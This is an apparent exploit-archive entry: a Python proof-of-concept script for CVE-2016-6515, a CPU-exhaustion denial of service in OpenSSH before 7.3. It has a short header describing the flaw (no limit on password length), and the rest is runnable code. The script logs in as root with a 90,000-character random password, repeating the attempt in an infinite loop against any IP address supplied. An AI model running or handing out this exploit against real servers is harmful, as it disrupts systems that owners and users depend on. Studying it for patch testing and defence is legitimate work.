OpenSSH 7.2 - Denial of Service

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# Title		: OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author	: Kashinath T (tkashinath@secpod.com) (www.secpod.com)
# Vendor	: http://www.openssh.com/
# Software	: http://www.openssh.com/
# Version	: OpenSSH before 7.3
# Tested on	: Ubuntu 16.04 LTS, Centos 7
# CVE 		: CVE-2016-6515
# Date		: 20-10-2016
#
# NOTE:
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
#
# For more info refer,
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption
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import sys
from random import choice
from string import lowercase

try:
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
    sys.exit(0)


class ssh_exploit:

    def __init__(self):
        """
        Initialise the objects
        """

    def ssh_login(self, remote_ip):

        try:
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))

            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
                            password=crafted_passwd)

        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)


def main():

    if len(sys.argv) != 2:
        print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
        sys.exit()

    # Calling ssh_connect
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])


if __name__ == "__main__":
    main()